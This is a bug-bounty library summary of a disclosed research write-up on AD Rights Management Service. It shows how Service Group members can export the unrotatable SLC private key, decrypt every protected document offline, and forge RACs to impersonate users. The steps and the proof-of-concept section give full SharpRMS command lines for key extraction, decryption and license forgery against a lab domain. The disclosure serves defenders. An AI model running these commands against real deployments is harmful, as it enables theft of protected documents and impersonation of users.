# AD Rights Management Service (Part 2): Extraction, Offline Decryption, and the Unrotatable Key

AD RMS Service Group members can export the SLC private key via TPD export, then decrypt every protected document offline or forge RACs to impersonate any user.

- Payout: Research
- Severity: high
- Program: AD RMS
- Write-up by: Huntress
- Disclosed: 2026-09-10
- Write-up quality: 9/10
- Original: https://www.huntress.com/blog/ad-rms-slc-encryption-key
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-ad-rms-slc-encryption-key
- Tags: area:cloud domain:infra impact:data-leak impact:privesc kind:research platform:threat-intel sev:high tech:windows technique:default-creds technique:source-review vuln:access-control vuln:info-disclosure vuln:privilege-escalation

**Target:** AD RMS admin SOAP surface (/_wmcs/admin/) and SLC key in config database
**Root cause:** The SLC private key is the unrotatable root of all AD RMS protection, held in software in the config database, and the TPD export admin operation hands it out to any Service Group member with no logging.
**Steps:**
1. Confirm software keying as a Service Group member: `keyprotection` returns `IsServicePrivateKeySoftwareBased: true` plus the SQL connection string.
2. Export the key: `SharpRMS.exe extract /method:tpd /server:http://vesuvio... /user:NEWJERSEY\tony.soprano /password:... /exportpassword:SharpRMS2026 /outfile:slc.bin` yields a 1172-byte CAPI PRIVATEKEYBLOB.
3. Decrypt any protected doc offline: `SharpRMS.exe decrypt /keyfile:slc.bin /infile:BOARD_MINUTES_2026.docx /outfile:PAULIE_cracked.docx`.
4. Optionally mint a genuine RAC template via `impersonate` (Precertify) for a target identity.
5. Forge a RAC bound to an attacker keypair: `SharpRMS.exe forgerac /keyfile:slc.bin /template:silvio_precert.xml /target:silvio.dante@... /until:2036-07-08T00:00 /outfile:forged_rac.xml`.
6. Request a use license as the forged identity: `SharpRMS.exe goldenrac /keyfile:slc.bin /template:forged_rac.xml /infile:BOARD_MINUTES_2026.docx /server:... /target:silvio.dante@... /outfile:use_license.xml /keyout:forged_rac_priv.bin`.
7. Decrypt with the server-issued license: `SharpRMS.exe decrypt /keyfile:forged_rac_priv.bin /uselicense:use_license.xml /infile:BOARD_MINUTES_2026.docx /outfile:silvio_read.docx`.
**How found:** Threat-modeled the AD RMS trust chain from Part 1, noted the SLC is the unrotatable root analogous to KRBTGT/DPAPI backup key, then inspected the admin SOAP surface and found TPD export (intended for migration) returns the private key to any Service Group member.
**Exploitation:** With Service Group credentials, one authenticated SOAP call to /_wmcs/admin/ exports the SLC private key wrapped under an attacker-chosen password. The key then decrypts every document's content key offline with no server contact, or signs forged RACs (raw UTF-16LE BODY, SHA-256, RSA PKCS#1 v1.5) that the live cluster accepts, issuing use licenses sealed to an attacker-held keypair for any identity with real rights.
**Escalation:** Offline decryption gives silent unconditional access to all protected content; forged RACs extend this to live impersonation of any authorized identity, including group members via GroupExpansion lookup.
**Insight:** Migration/trust features that package private key material (TPD export) are the shortest path to a cluster root key; check whether the export is gated only by a group membership and whether it appears in any application log — here it does not.

## Proof of concept (copied exactly from the original report)

**SharpRMS TPD export command extracting SLC key**

```
.\SharpRMS.exe extract /method:tpd /server:http://vesuvio.newjersey.sopranos.local /user:NEWJERSEY\tony.soprano /password:Gabagool123! /exportpassword:SharpRMS2026 /outfile:slc.bin
```

**Offline decrypt of protected document with slc.bin**

```
.\SharpRMS.exe decrypt /keyfile:slc.bin /infile:BOARD_MINUTES_2026.docx /outfile:PAULIE_cracked.docx
```

**goldenrac forging RAC and requesting use license**

```
.\SharpRMS.exe goldenrac /keyfile:slc.bin /template:forged_rac.xml /infile:BOARD_MINUTES_2026.docx /server:http://vesuvio.newjersey.sopranos.local
/target:[email protected] /sid:S-1-5-21-877797059-2172394321-2911316366-1110 /until:2036-07-08T00:00 /outfile:use_license.xml /keyout:forged_rac_priv.bin
```